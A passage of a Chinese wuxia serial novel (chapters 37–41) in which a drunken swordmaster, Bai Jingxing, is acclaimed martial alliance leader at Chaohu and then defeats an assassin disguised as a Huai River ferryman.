但是,当我的手几乎就要触到九郎剑的剑柄时,白光一闪,连人带剑已在我眼前消失了! “哈哈哈哈......” 郎朗的笑声传来,我转身过去,白景行已经站在我的身后了。他一手握着九郎剑,一手提起鎏金的葫芦,清流入喉,白景行“斯哈”一声,爽声大笑:“好酒!好酒啊!” 第一卷 最后一个武林盟主 第三十七章 酒鬼 九郎剑被白景行没收了。 他以我不宜持有为由,将九郎剑堂而皇之地塞入了自己的袖口。这样对我来说无疑是一个巨大的打击,一来我觉得对不起娄琴,我没有保护好她送我的宝剑,辜负了她对我的情谊。二来,没了九郎剑,我感觉自己在去往少林的路上,缺少了一样安身保命的利器,由此安全感极度下降。 但,幸运地是,白景行与我们同行。 这样一来,我和李小谦有了号称剑法天下第一的酒剑仙保护,任什么武林高手,强人匪徒,都不必再担忧。 而且,只要白景行在我身边,我仍然有机会拿回九郎剑。 虽然,希望十分渺茫。 三个人,两匹马。自然白景行要自己要骑一匹,我和李小谦两人骑一匹。 白景行骑马的姿势十分与众不同。其形象,就像他本人的做派一般,怪异,而且不着调。 他倒骑在马背上,身子依着马颈,远远看去,就像一团白乎乎地烂泥摊在马上。马每走几步,他都要喝一口酒,马每走几里路,他都要打一壶酒。 似乎,那酒于他而言乃是不可或缺之物,需要时时饮之,否则便会没了性命一样。 李小谦对白景行一直十分恭敬。虽然,我们对白景行的身份已然心知肚明,但李小谦却始终不去挑破。 但是,我想确认一下,万一这个江湖中还有另外一个白衣、白发、白须的老头,嗜酒好剑,却不是白景行呢? 万一他不是白景行,我们这样毕恭毕敬地对待一个来历不明的怪老头,岂不是很傻? 我问:“你是青云派的掌门白景行吗?” 李小谦又掐了我一把,我抬手给了他一肘,他以擒拿手抓住我的手臂一拧,将我的胳膊死死地扣住,动弹不得。 白景行说:“小兄弟,你这少林派的擒拿手使得不对路啊。” 李小谦突然双眼冒光,说:“请前辈指教。” 白景行说:“少林擒拿手,要注重雄、准、快、狠四个字。你这手法.....和这四个字毫不沾边。” 李小谦问:“什么叫雄?” 白景行说:“就是力气要猛,要大。如你这般手抓小鸡的力道,如何能使出少林擒拿手的威力?” “是这样吗?”李小谦猛地一拧我胳膊,我感觉自己肘部的关节生疼,几乎要被他捏碎了。 我“哎呦”大叫一声,骂道:“李小谦,你这杂种!放开老子!” 白景行哈哈大笑,说:“有点意思,有点意思。” 李小谦放开了我的胳膊,向白景行拱手道谢:“多谢前辈指点。” 怒火已烧到了我的头顶,我感觉浑身充满了力量,抓着李小谦翻滚下马背。我站起身来,挥舞着拳头向李小谦头上一拳猛击。 李小谦已不再是当初的李小谦。少林派的擒拿手是江湖上有名的擒拿功夫,我一拳挥出去,没有抡到我预想的位置,反而被李小谦接了下来。他另一只手抓住我肩头,又是一拧,力道明显比以往更猛、更狠。 身无武功的我,毫无招架之力,被李小谦就势按倒在地上。胳膊的各处关节几乎要碎裂一般地疼痛。 我连连惨叫。 白景行却拍手叫道:“好,很好!” 我以为他是觉得李小谦经过他的指点,擒拿功夫颇有进益,他很高兴,所以才叫好。没想到,白景行喝了一口酒,说道:“很久没看人打架了,真是有趣!” 这老东西把我俩当猴耍! 李小谦仿佛也意识到了,他手上的力道骤然卸下,我奋力甩脱李小谦,从地上抄起一块石头,顺势向白景行脑袋顶投个过去! 李小谦惊呼一声“住手”,但为时已晚,我以用尽浑身之力,将那石头大力投出,石头在空中旋转着,以飞快地速度向白景行砸去。 然而,再快也快不过白景行。这一点,我非常清楚。盛怒之下,我只能穷尽我之所能,与其说报复不如说是发泄,把心里的怒火发泄出来。其实,对扔石头砸白景行这种事,我的心里根本没有抱任何希望。 白景行是谁? 酒剑仙! 剑法天下第一! 青云派的掌门人! 怎么会随随便便被我扔出的石头砸中呢?! 但是,结果却大出我之所料。因为,石头不仅砸到了白景行的头上,而且还砸出了血。 殷红的血液晕开在白景行雪白的头发上,就像是隆冬大雪里盛开的红梅,美丽得有些惊艳。 “啊!”白景行捂着脑袋惨叫,骂道,“你个小兔崽子!敢偷袭我!”叫骂之余,他仍不忘喝酒。 他举起葫芦猛灌两口,叫道:“小兔崽子,看我怎么收拾你!”说罢,白景行身形一动,一道白影如鬼魅一般向我飘来。 速度虽不如我往日所见的高手那边快,但足以在我做不出任何反应只是扼住我的咽喉。 我被白景行掐住了脖子,他头上的血已经散得如巴掌般大小,一道血注缓缓从发髻留下,就要将他雪白得眉毛也染红了。 “小兔崽子!”白景行骂着,“谁教你的偷袭?” 我被白景行掐得有些喘不过气,勉力地说:“你不是青云派的掌门吗?你不是武功很高强吗?为什么连个石头都躲不开?” 白景行啐了一口,说:“你没看见我在喝酒吗?喝酒能分心吗?岂不坏了酒的美味?!” 我这才意识到,眼前的这个人,无论他是不是真的白景行,他绝然是一个酒鬼,一个十足的酒鬼。 在他的理念中,即便是头破血流,也不能坏了他饮酒的美味。 但是,我的性命捏在他的手中,我只能求饶:“前辈,我知错了。你放过我吧。” 李小谦也上来帮忙劝解:“前辈,旦丙虽然不该用石头偷袭,但他的确没想到会砸到您,还请高抬贵手。” 关键时刻,他还是有几分兄弟情义的。这一点,让我颇为感动。 白景行喝了一口酒,我感觉呼吸渐渐舒畅,只见那双捏着我脖颈的手依然悄悄松开。白景行“斯哈”一声,叫道:“真是好酒啊!” 一滴血,穿过白景行雪白的眉毛,留下一道细窄的印记,然后滴落下来。 白景行转身再饮,全然不顾那鲜血直流,仿佛他头上的伤口不存在一般。他飘然上马,慵懒地依靠在马背上,淡淡地说:“你俩先不要去少林寺了。” “为什么?”我问。 白景行说:“随我去巢湖。” 我又问:“去巢湖干什么?” 白景行说:“武林大会!” 第一卷 最后一个武林盟主 第三十八章 巢湖 巢湖武林大会。 江湖上难得一见的盛世。 据说,这次武林大会是由括苍派的掌门陈伯洋发起的,召集南派武林中大小门派,北派武林也有几个门派参与其中。 不知,少林派会不会派人参与。如果能在巢湖武林大会上遇见少林派的人,我和李小谦便可以直接将圆通的秘籍交给少林派的人。这样便可以省去我们千里迢迢赶往少林的许多艰辛。 因此,我和李小谦决议随白景行去。事实上,即便是我和李小谦不想去,也由不得我们了。面对白景行这样一个高手的要求,我俩根本没有选择的余地。 白景行的确是一个十分怪异的老头。 他口口声声说时间紧迫,不得耽误。要求我们和他连夜赶路,不许停息。困了便让我们在路边休息一两个时辰,然后接着赶路。 但是,既然时间紧迫,不是应该驾马狂奔才对吗? 他却依旧是倒骑着马,斜倚着马背,悠哉悠哉地喝着酒。 太阳落下又升起,升起又落下。往复四日,我们才赶到了巢湖南岸。 这个湖远比西湖大得多。高台远眺,西湖尚且能见边际,但这个湖却一眼望不到边。 夕辉之下,巢湖之上金光粼动,远远望去,犹如万千金玉漂在其中。风一扫荡,波澜更盛,晃晃的金光此起彼伏,美轮美奂。 巢湖边上的一块阔地,已经聚集了密密麻麻的人群。根据服饰装扮以及他们的站位,大概可以看出,他们属于十几个不同的团伙。 这十几个团伙并列两排,相向而立,在中间让出一条十几米宽的过道。两边的人群虽然交头接耳,语声碎碎,却排的异常齐整,仿佛正在等待着什么人的到来。 白景行悠哉地骑着马,马也像他一样悠哉,踏着闲散地步子,昂首挺胸地走到了人群中间。我和李小谦则惴惴不安地跟在他后面。 所有的人顿时噤声不语,目光一致投向场中的这个白衣老头。 “白掌门终于来了!”人群中走出一个灰袍老者,年纪看上去比白景行小一些。他妙容消瘦,皮肤蜡黄,头发花白,额上已有几道明显的横纹。 白景行慢悠悠地爬下马背,喝了一口酒,说:“有陈掌门在这里主持大局,何必等我这个老头子呢?” 他便是括苍派的陈伯洋。 我和李小谦随着翻下马背,站在离白景行几步远的地方。两边整齐排列的各派高手,在湖风之中更显威严森森,让我心中一阵惶恐。 陈伯洋对白景行十分恭敬,他说:“白掌门不来,小弟岂敢造次啊。” 白景行喝了口酒,笑着摆了摆手,说:“陈兄说笑了,这场武林大会既然是括苍派召集的,自然应当由陈兄主持,我只在一旁喝酒,然后听候差遣便是了。” 陈伯洋说:“谁不知道白掌门乃是当今武林的地位,只有像您这样德高望重之人主持,才能压的住场面,小弟不行。” 白景行笑了笑,说:“陈兄真是客气。还是你主持吧,我今天喝了有点多了。”他回头看了我和李小谦一眼,喝道:“你俩臭小子站在那里干什么?莫不是要主持武林大会吗?” 李小谦说:“不敢。” 我说:“我也不敢。” 白景行喝了一口酒,不再理会陈伯洋,牵着马,向一群身着白衣的人群走去。陈伯洋的神情有些尴尬,他眼睁睁地看着白景行离开,想要开口说话,嘴动了动,最终还是闭上了。 我俩紧跟在白景行后,随他一齐走到那群身着白衣的人前。 人群的最前边,有一个人看着我,我也看着他,似曾相识的感觉。 “怎么是你?!”我惊叫一声。 那人正是武炼。神剑无形的武炼。 白景行说:“怎么?你们认识?” 武炼拱手行礼:“拜见师父。”然后,他说:“弟子日前曾在临安府与这位兄弟有一面之缘。” 白景行是青云派的掌门,武炼是青云派的弟子。在这样的武林大会中,武炼出现在这里并不奇怪。 我想起那日在娄琴客栈中,武炼以无形剑气伤了娄琴,顿时气由心生。我说:“你徒弟在临安府惹事,伤了我娄姐姐。” “哦?”白景行盯着武炼,问,“可有此事?” 武炼神情慌张,结结巴巴地说:“这,这......师父,弟子不,不是有意的。” 白景行呵斥道:“跟女人动手,你可真有出息!回去闭门思过......十天!”武炼慌忙称是,不敢言语。 我内心一阵舒爽,相必娄琴看到这个场面也会颇为解气。 “师父!”突然,人群中挤出一道人影,正是那天持剑逞强的带疤男子,他也对着白景行行礼,说,“此事因我而起,不管大师兄的事。” 白景行不耐烦地说:“又是你小子!你二十天!”说罢,他喝了一口酒,转过身去,不再理会两个人。 巢湖南岸,这片空阔的草地上,密密麻麻的人影晃动,白绿黄灰各色服饰分成几块,莫约七八千人。 整个武林,能叫得上号的人物和门派,几乎全聚到了此地。 晚风一扫,场上一片寂静,只听到风吹湖面,水声、风声,交替作响。夕阳渐渐沉下湖面,眼看着夜幕就要降临,这场武林大会却远没有湖面的浪花那般澎湃汹涌。 陈伯洋从一身灰衣的括苍派人群中走到了场中央,他高高举起双手,大声吼道:“诸位英雄!” 他声音浑厚,穿透力极强,我和李小谦站在白景行身旁,距离陈伯洋不过三十几米远。声音传入耳蜗,震得鼓膜一阵发痒。 人群远处,一阵躁动。 陈伯洋怫然不悦,大喝:“那边怎么回事?” 人群骚动得更加厉害了。 突然,中间的有人喊了一声:“陈掌门,后面的人说,他们听不见!” “呵呵。”白景行低声笑道,“我就说不能主持吧,多费嗓子!”他喝了一口酒。 我这才发现,这不仅是个举止怪异的酒鬼,还是个老奸巨猾的酒鬼! 第一卷 最后一个武林盟主 第三十九章 盟主 陈伯洋很尴尬。他的一张脸已经憋成了酱紫色。 他刚才的喊话,很显然已经用了极大的力气。但是,这样浑厚有力的声音,仍旧是毫不留情地淹没在巢湖之畔的晚风里。 风声瑟瑟,湖水哗哗作响,陈伯洋似乎有些无计可施,他向白景行投去求助的目光。白景行却仍旧是悠哉地喝着酒,仿佛没有看到一样。 陈伯洋索性不再理会,大声喊着:“今日,括苍派召集天下英雄来巢湖相聚,主要是想与各大门派共同商讨武林盟主之事。” 远处的人群依旧躁动如斯,甚至有些狂躁。 中间又有人喊:“陈掌门,后面的兄弟还是说听不见!” 陈伯洋攥紧了拳头,眉头紧锁,看上去有些恼火。场面陷入了无穷的尴尬之中,无论是躁动的还是不躁动的,都期待着陈伯洋能够化解尴尬。但陈伯洋,却显得越来越慌乱而且恼火。 突然,陈伯洋猛吸一口气,大喊:“商量一下武林盟主之事!” 声波如厉雷一般回荡在人群中,这一声他注入了极大的内力,我感觉自己耳膜一阵阵的疼痛,犹如针刺一般。但这一声的确有了效果,人群中躁动声戛然而止,七八千双眼睛齐刷刷地望向陈伯洋。 陈伯洋见有了效果,却没有看出兴奋之色,反而有所忧虑。他又吸一口气,大喊:“朝廷以江湖无序、需要整顿为由,企图染指江湖事务!” 沉寂片刻,场上爆发出雷鸣般的呼喝声:“不错!” 陈伯洋有些疲倦了,他额上已然冒出汗珠,但他仍旧极力支撑着,再吸一口气,大喊:“江湖不能群龙无首,我等不能坐以待毙!” 场上议论声起,一时间人声鼎沸,压住了风声、水声。许多人精神振奋,七嘴八舌,甚至有人乱嚷乱叫,扯着嗓子大喊,却淹没在无边无际的喧嚣中。 陈伯洋借机按摩着喉头,表情有些痛苦,他勉力吞了一口口水,大喊:“我等应当推举武林盟主进行自律,不给朝廷可乘之机。” 人群又是一片沸腾,议论之声一浪接过一浪,仿佛不能休止一般。 陈伯洋叹了口气,又猛吸一口气,大喊:“肃静!” 人声戛然而止,风声、水声再次充斥了我的耳廓。 陈伯洋喊道:“我推荐青云派的白掌门!”他喘了一口气,接着喊:“谁有意见?!”最后几个字,陈伯洋的声音开始撕裂,显然已近极限。 场上死一般的寂静。风声、水声更加响彻。 相必陈伯洋喊话喊得太累了,索性不加任何解释,直接抛出了“白景行”为武林盟主。他向场上的人征求意见,但是,谁会有意见? 谁会在众目睽睽之下,挑战一个号称天下剑法第一的绝世高手,以及站在他身后势力无比强大的青云派? 白景行喝了一口酒,表情淡漠,不动声色。仿佛场上发生的一切,都与他无关。 李小谦贴在我的耳边,说:“这是一场局。” 我问:“什么局?” 李小谦说:“一场早就安排好了,让白景行当武林盟主的局。” 我看了一眼无比淡定的白景行,说:“我看他的样子,不像要争武林盟主啊!” 李小谦白了我一眼,一副懒得解释的表情,说:“走着瞧!” 这时候,人群的远端走出一个五大三粗的壮汉,他在众目睽睽之下摇晃着走到陈伯洋跟前,路过白景行时,瞥了他一眼,却什么也没说。直到站定在陈伯洋的面前,他才说:“凭什么你推荐谁就让谁做武林盟主,我不服!” 陈伯洋笑着说:“若我未看错,这位可是莲花教的刘教主?” 那壮汉一拱手,说:“行不更名坐不改姓,莲花教刘百万是也。” 陈伯洋还礼,说:“久仰久仰,不知刘教主有何高见?” 刘百万说:“我觉得谁的武功高,谁当武林盟主!” 陈伯洋说:“你的意思是,你要挑战青云派的白掌门?” 刘百万有些迟疑,他说:“这......我没说我要挑战,但总不能你推荐谁就是谁吧!” 陈伯洋淡淡地笑着,说:“既然你不想挑战,那么就请回去吧。” 刘百万呆住了。他显然没有想到陈伯洋这样简单的两句话就把他打发了。刘百万攥紧了拳头,或许是羞愤使然,又或许是他本来就想要和陈伯洋一较高下。 一场比试即将开始。开始的有些莫名其妙。 刘百万先发制人,挥舞着拳头,大喊:“我先跟你比试比试!” 陈伯洋仿佛早有防备,又或许是他武功高强,反应灵敏,刘百万拳风未到,他便以变幻身形,蹿到了刘百万的身后。陈伯洋轻捋着胡须,呵呵地笑着,说:“领教刘教主高招!” 场上爆发一阵惊呼。很多人还不知道发生了什么,就见场中的两个人已经打起来了。 人群中开始有人叫好。尤其是括苍派的人,他们极力地声援自己的掌门,许多人扯着嗓子,近乎嘶吼一般,声音尤为彻耳。 我问李小谦:“你看他俩谁能赢?” 李小谦说:“当然是陈伯洋了。” 我想到了风云之战,一时兴起,说:“我们打个赌吧,我觉得刘百万能赢。” 李小谦说:“赌什么?” 我说:“我押十两银子,跟你赌刘百万赢!”这是我全部的家当。 李小谦说:“我押上我的鞋!” 我看了一眼李小谦脚上的一双鞋,那是一双极为普通的粗麻布鞋,而且沾满巢湖边上的泥巴,看上去十分腌臜。我气愤地说:“你又耍我,我要你的鞋干什么?” 李小谦摇晃着手指,说:“我跟你赌,不是看你要什么,而是看我有什么!” 赌博还有这种逻辑?! 就在我和李小谦商量着怎么下注的时候,刘百万已经挥出十几拳,他原本身材高大,筋骨强壮,挥出去的拳头势大力沉,呼呼带风。 但是,很显然,他的拳头对陈伯洋构不成任何威胁。陈伯洋步法轻奇,身形变幻极快,任刘百万的拳劲如何刚猛,也伤不到陈伯洋分毫。 我开始有些后悔。因为,刘百万几十招不中之后,明显体力不支。而陈伯洋,只是闪躲,还一拳未发。 突然,陈伯洋转过身去,大步流星地向远处跑去。刘百万紧追其后,却越追越远。两人拉开一段距离之后,陈伯洋大喊一声:“刀来!” 只见括苍派最前方的弟子应声扔出一把白晃晃的长刀。刀以流星般的速度,在空中划出美妙的弧线,稳稳地落在了陈伯洋的手中。 这时,刘百万距离陈伯洋还有几步的距离。陈伯洋长刀一挺,如蛟龙出海,连人带刀在空中旋转着向刘百万的心窝捅去。 他速度极快。刘百万尚在奔跑,收势已然来不及。眼看着,这个五大三粗的壮汉就要被陈伯洋一刀捅出一个窟窿。 场上已有人开始唏嘘。我的心口仿佛在滴血,因为我就要输掉我身上仅有的十两银子。 千钧一发之际。白影一闪。 “当”的一声。 陈伯洋连人带刀被弹开了。他踉跄着退了好几步才站稳身子。 不知在什么时候,陈伯洋与刘百万只见,出现了一个白衣、白发、白须的老者,他手中攥着鎏金的葫芦,一仰头,一道清流入喉。 此时,夜幕已悄然降临,晚风更疾,吹着那一身白装在空中旖旎,犹如鬼影摇晃。 白景行“哈哈”大笑,笑声如从天际而来,如闷雷作响,震得我的心都在颤抖。 白景行神色不变,颇为平淡地说:“胡虏未灭,何以自相残杀?!”那声音震彻心肺却不刺耳,只如同从头顶直入心窝。 我看着周边人的表情,没有一个人的目光中不带着惊讶。 “好!” 沉寂许久的人群中发出了一声呼喊,接着,声浪如同湖中的波浪一样,一片接着一片地掀起。 叫好之声渐渐开始转变。 “武林盟主!武林盟主!武林盟主......” 人群高呼着“武林盟主”开始向白景行聚拢。夜幕中有许多人已经点起了火把。站在人群的一端遥望另一端,只感觉是满天繁星异动,场面之大,蔚为壮观。 “这又是一个没有胜负的结局。”我感慨。 李小谦说:“不,这个胜局太明显了。” 我问:“谁胜了?” 李小谦说:“白景行。” 不错。这场原本发生在陈伯洋与刘百万之间的比武,最终以白景行的胜利而告终。也便是由这一刻起,拉开了一场维持一年的江湖太平。 北派武林的没落,南派武林的拥戴,这样的背景下,仅一场荒诞而简陋的布局,簇生了一个举止怪异的武林盟主。 自此,江湖之上以白景行马首是瞻,同仇敌忾,成了“驱逐胡虏,恢复河山”的强大力量,却意外打乱了朝廷的谋划,延续了这个江湖长达八年的寿命。 然而,那个时候的我死都无法想到,八年之后,这个江湖,最终会葬送在我的手中。 第一卷 最后一个武林盟主 第四十章 截杀 白景行就这样当上了武林盟主。 这个消息很快就会传遍整个江湖,无论那日是否在巢湖武林大会的现场,江湖上的人都会知晓。 但是,这个消息一旦传出去。便没有多少人会关注巢湖武林大会上发生了什么,人们的焦点都会在武林盟主是白景行这件事上,然后,很快就会成为整个武林的共识。 那日,巢湖武林大会。白景行在八千武林人士的山呼声中,发表了就任武林盟主之后的第一次,也是唯一一次演说。 白景行第一次,也是唯一一次在我面前收起了酒葫芦。他郑重其事地从怀里掏出几张白纸。 夜幕深沉,白纸上的字已看得不那么清晰。白景行四处寻觅,终于在最近的人群中找到了一个手举火把的壮汉,他招了招手说:“来,来,帮我照一下!” 那个壮汉惊讶的表情中挂着受宠若惊的喜悦,他挤过拥挤的人群,将火把伸到白景行身边。白景行抖了抖白纸,庄重地喊道:“感谢大家的信任和拥护!” 他没有用内力,只是声音比平常说话大了一些。我站在白景行身侧,前方隔着三五道人,只勉强听清,想来后面的人绝然是没有可能听见的。 但白景行丝毫没有提高嗓音的打算,他仍旧如方才的音量喊着:“日前,朝廷向各大门派发令,以江湖无序、亟待整顿为由意图派官员接管各大门派,此乃荒谬之举,历朝历代断无此先例。” 白景行身边的人连连点头称是。 白景行清了清嗓子,继续说:“倘若,各大门派被朝廷接管,我等或将沦为朝廷鹰犬,或将被朝廷彻底清理,时不假日,江湖武林将荡然无存!此绝非我江湖之人所乐见也!”他翻过第一张白纸,抖了抖,又说:“如今,我等只能自律,由此便可上表朝廷,言明自律之决心,以断绝朝廷接管各大门派之借口,方可保我江湖之无虞。” 周围人纷纷叫好,后方众人仍然怔怔发呆。 白景行继续说:“现在,我以武林盟主之名立下三道严令,望各武林同道牢记于心,切勿违反。”他翻过第二张白纸,抖了抖,说:“其一,严禁私斗!其二,严禁为恶!其三,我想好了再说!” 我真想过去看看他最后那张纸上是不是也这样写的。 白景行说:“这三张纸乃我亲笔所书,之后由青云派弟子翻印分发各处,听到的江湖朋友代为传达,广而告之。好啦,天色已晚,大家各自散去吧!” 他轻描淡写地说了一句散场的话,就这样结束了这次声势浩大的武林大会。 当晚,白景行并没有虽青云派一起离开,而是说要跟着我和李小谦一同去少林寺。 我问他去少林寺做什么? 白景行说:“少林派重建乃是大事,我理应拜访新任住持。” 就这样,我们一行三人,踏上了前往少林派的道路。 三天之后,我们到了一个叫临水镇的地方,准备在这里渡过淮水。 绍兴合议之后,朝廷和金国商定,已淮水为界,渡过了淮水,也就意味着我们将离开大宋的国土,踏入金人的领地。 当时,淮水以北的大片土地,却仍旧没有在百姓的心中割舍出去。那里还有数不尽的骨肉至亲、袍泽兄弟在金人的统治下苦苦的挣扎。 一道淮水,划开了宋金两国的土地,却划不断百姓心中的思念。 临水渡口,一个老者在河边等待着渡河的官客。他带着斗笠,撑杆横在船上,比他脚下的船还要长出几米。 李小谦与那老者商议好价格,我们三人便舍了马,上了船。那两匹马虽然是在官府里骗来的,但是它们跟随我们多日,朝夕相伴,如今却要把它们舍去,我多少有些不舍得。 “多好的两匹马,如果能带过河,该多好啊!”望着两匹马在岸边踱步嘶鸣,我有些伤感。 “它们的任务完成了,从此天高地阔,任他们奔驰,自由自在,也不枉它们载我们一程。”李小谦说。 白景行喝了一口酒,说:“好两匹马,不知肉质可否鲜嫩,烤来吃味道如何?” 真是畜生!竟然要吃马!哪里像武林盟主的样子?! 我小声问李小谦:“你吃过马吗?” 李小谦沉吟片刻,说:“小时候吃过!后来,我妈就不让我吃了!” 我大惊,说:“你也是畜生!” 李小谦狡黠一笑,似乎另有深意,我却不能明白。 小船荡漾在河水之中,随波浪一起一伏,慌得我一阵头晕目眩,胃里翻腾得紧,几乎要吐出来。 白景行气定神闲地坐在船头,问:“老兄,撑船多久了?” 老者说:“小老儿自幼随父亲在这里摆渡,有四五十年的光景了。” 白景行笑了笑说:“既然是撑船的老手,怎么手法如此生疏啊?” 那老者神色一变,斗笠下突然露出一丝诡异的狞笑,说:“白掌门目光如炬,果然是瞒过你啊!” 白景行说:“以你的身手在这里为我撑船不免可惜了,不知为何肯如此屈尊啊?” 老者突然扔了手中的撑杆,说:“奉命取你性命!” 我这才意识到,危险已然来临,看似貌不惊人的撑船老者,竟然是暗伏在淮河之畔,等着截杀新任武林盟主白景行的杀手。 城门失火,殃及池鱼。这样的道理,我还是懂的。也就是说,白景行一旦被他杀了,我和李小谦自然也要被灭口。 我和李小谦慌忙躲到白景行身后,一面渴望地看着白景行,一面惊恐地看着那个老者。 白景行声色不动,依旧是悠闲地饮着酒。我急得满头大汗,说:“大敌当前,先别喝了!” 白景行说:“不碍事,小事一桩。” 老者忽然怒了,白景行的轻描淡写与不屑一顾,彻底触怒了一个武者的自尊。他青筋暴动,狠狠地说:“你不要把人看扁了,明年此时,就是你的忌日。” 说罢,老者双拳交错,来回捯饬,拳风呼呼,带着船晃动得更加猛烈。 李小谦一个不稳,跌下船去,他在水中极力地扒着船帮,大喊:“救我,救我。我不会游泳。” 我急忙拉住他双手,大喊:“我也不会游泳。” 这时,那老者已经挥拳向白景行冲了过来,一套拳法舞的密不通风,生龙活虎,看着都让人不禁生畏。 白景行不仅毫无动作,反而闭上了双眼,仿佛那一双虎虎生风的拳头,于他将是一套松劲活骨的推拿一般。 稍倾,拳风已然撩动了白景行的白发,拳面直扑他面门而去。眼看白景行的脑袋即将被那拳头捣成肉泥,但那老者一计直拳冲下,却意外扑了空。 白光一晃,白景行从这侧拳头已然闪到了另一侧船头。五米的距离,只在眨眼之间,他身形一晃之际。 老者惊了。他挥拳时晃歪的斗笠下露出一只瞪得如鸡蛋般大小的眼睛,神情颇为慌乱。当他扭过身子之时,白景行依旧在悠闲地饮酒。 其实,无论是技不如人还是一败涂地,或者是因为技不如人而一败涂地,都不那么可耻。最令人无法接受的是,对手的无视。 从老者的拳法来看,他最初的自信并非全无道理,因为他风驰电掣一般的拳法已然奠定了他一等高手的地位。在我所见过和听过的高手之中,这个老者绝对是拔尖儿的。但他的功夫于白景行想比,却依然相去甚远。 老者的愤怒彻底淹没了恐惧。因为,任什么人,也不能容忍对手的无视。他叫喊着:“不要瞧不起人!快快出手与我比试!” 白景行说:“我若出手,你绝无活路!” 老者说:“即便是死,我也要死在你的剑下,而不是因羞辱的悲愤而死!” 白景行笑了笑,说:“我不会让你死,你还没有告诉我,你为何要杀我呢。” 老者冷哼一声,说:“奉命行事而已,别问为何!” 白景行问:“奉何人之命?” 老者说:“你凭什么以为我会告诉你?” 白景行说:“你不说,我也猜出个大概。” 老者说:“既然如此,何须多言,动手吧!”说罢,他拳风又起,力量、速度皆比方才更加凶猛。 白景行不紧不慢,懒洋洋地站起身来。身子还未伸直,那老者的拳头又到了跟前。白景行翻动袍袖,将那老者的一只拳头没入袖中。 那老者的拳头被白景行卷住,再想要撤回明显有些吃力了。他只得用另一只手袭击白景行的太阳穴。 白景行脚步一搓,侧身躲过拳头。拳头紧贴着白景行的脸擦过,白景行表情平淡,不起丝毫波澜。他用袍袖缠着老者的拳头,转到老者身后,将他胳膊拧了过去,顺势压倒在地上,说:“派你来的人也不打听一下老夫的伸手吗?就你这两下子,还妄图取我性命?实在是太可笑了!” 老者青筋暴起,不知是因为愤怒还是被白景行扭得疼痛难忍,他吼道:“要杀就杀,不要这般羞辱人!” 白景行说:“有人派你来杀我,我都没觉得羞辱,你倒还觉得羞辱了!说!是谁派你来的!” 老者突然双唇紧闭,牙关紧咬,不再说话。 第一卷 最后一个武林盟主 第四十一章 怪病 我费了九牛二虎之力才将李小谦从河里捞上来。他浑身上下,无一处不在滴水,冷风一吹,接连打了好几个冷战。 李小谦骂道:“他娘的,老子差点淹死在这里。” 白景行仍然在审问那个老者。此时,那个老者已全然成了白景行砧板上待宰的鱼肉,他一只脚才在老者的背上,袍袖依旧缠着他的一只胳膊。看起来,白景行杀死那个老者就好像碾死一只蚂蚁那样简单。 “快说!到底是什么人叫你来的!”白景行厉声喝问。 那老者依旧缄口不言,一副宁死不屈的模样。 白景行似乎觉得再问无意,于是撤去了袍袖,挪开了脚,说:“你起来吧!” 老者有些难以置信,他问:“你为何不杀我?” 白景行说:“我不爱杀人。我这身白衣,最怕沾染血污。” 他这理由看似合情合理,却最让人无法接受。言下之意,无疑是觉得那老者的性命比不过他的一袭白衣,因而不值得一杀。 老者愤怒地吼着:“你杀了我!你杀了我吧!” 白景行说:“我就是不杀你,你能怎样?” 老者傻了!他瞪着圆圆的双眼,愤怒中有些绝望!求死不能的痛苦,在他的表情中体现得淋漓尽致。 李小谦甩着湿漉漉的衣服,走过去,说:“白掌门,你既然不杀他,可否借我一用?” 白景行不解,问:“你要他做什么?” 李小谦奸诈地笑着,说:“嘿嘿,我要扒了他的衣服!” 我大惊,心想,莫非李小谦怪癖发作,要在这船上对一名老人行不堪之事? 白景行笑了笑,说:“应当的,应当的!” 我更惊。竟然白景行与李小谦兴趣相投,两人要双双蹂躏这个可怜巴巴的老头子! 只见白景行伸手点了那老者的穴道。李小谦兴奋地连连道谢,麻利地脱下自己的衣服,一丝不挂地站在摇摇晃晃的船上。然后,他开始脱那老者的衣服。外套,内衣接连被他扒了下来,老者穴道被点住,整个人如同木头一样,任李小谦肆意摆弄。 士可杀不可辱! 我实在看不下去了,大喊:“住手!光天化日,岂容你......” 话音未落,我看见李小谦已经开始穿那老者的衣服,内衣,外套接连穿上,然后回过去看着我,问:“你要说什么?旦丙。” “我......”我忽然语塞,不知如何解释,只得说,“没什么,我想多了。” 李小谦啐了一口,说:“整日神神叨叨的,不知你在琢磨些什么?!” 我也不知道李小谦在琢磨些什么。这个人实在让我琢磨不透! 白景行解开了那老者穴道。老者坐在船上,抱着李小谦湿漉漉的衣裳极力遮掩着赤裸的身体,他仰起头,嘴角不停地抽动着,忽然之间,两行泪水陡然留了下来。 屈辱! 我能想到的只有屈辱! 一个杀手,志得意满,踌躇满志地埋伏在淮水之畔,执行着截杀新任武林盟主的光荣任务。一旦得手,荣耀万丈,声名 远扬!然而,结果却是他不仅没有伤到对手分毫,反而被对手鄙视、蔑视甚至是无视,最后,一败涂地,还要被对手身边一个毫不起眼的年轻人脱光了衣服。 他的表情,让我想起了那些初上雁荡山被马维进初次审问过的姑娘。当马维进整理着衣衫走出房门时,房中的姑娘也是如眼前的这个老者一样,扯着破碎的衣服,遮掩着裸露的身体,脸上挂着屈辱的泪水,带着想死的绝望! 他颤声地说:“你们为什么不杀了我?!为什么不杀了我?!” 白景行说:“我说过了,我不爱杀人。但是......” 他一句“但是”,老者神情突变,复杂的目光中带着屈辱,竟然还有恐惧。 我开始好奇,他到底是想死还是不想死?或许,人都是如此,张口时豪言壮志,一旦绝境濒临,任何临危不惧的心性也抵不过本能的怯懦使然。 白景行说:“就这么饶过你,也不是我的性格。” 老者问:“你要如何?” 白景行从袖中摸出一粒药丸,一掌推进那老者的口中。老者还未来得及反应,便已将药丸咽了下去。 “这是什么?”老者惊道。 白景行说:“醉生梦死丸。” 老者开始扣自己的喉咙,企图将药丸吐出来,但那药丸似乎已进入腹中,任他如何作呕,都只不过吐出一些白水。 老者惊恐地看着白景行,问:“什么是醉生梦死丸?这药有何作用?” 白景行说:“你不必担心,这是这世间最美妙的药丸,如果你不想醉生梦死,你只要记得今后少吃米面,多吃青菜,自然保你无虞!” 老者问:“仅此而已?” 白景行说:“仅此而已!你今后自然会体会到此药丸的妙处!” 说话间,船已随水波飘荡着临近对岸。前方便是金人蹂躏的故土,白景行忽然抓住我和李小谦的肩膀,飘忽而起。我只感觉一股大力在肩头拉扯着,随着白影在空中盘旋,最终落在了坚实的土地上。 刚刚适应了船上的颠簸,又陡然踩上了坚实的地面。地不晃了,我却仍然感觉自己在晃。 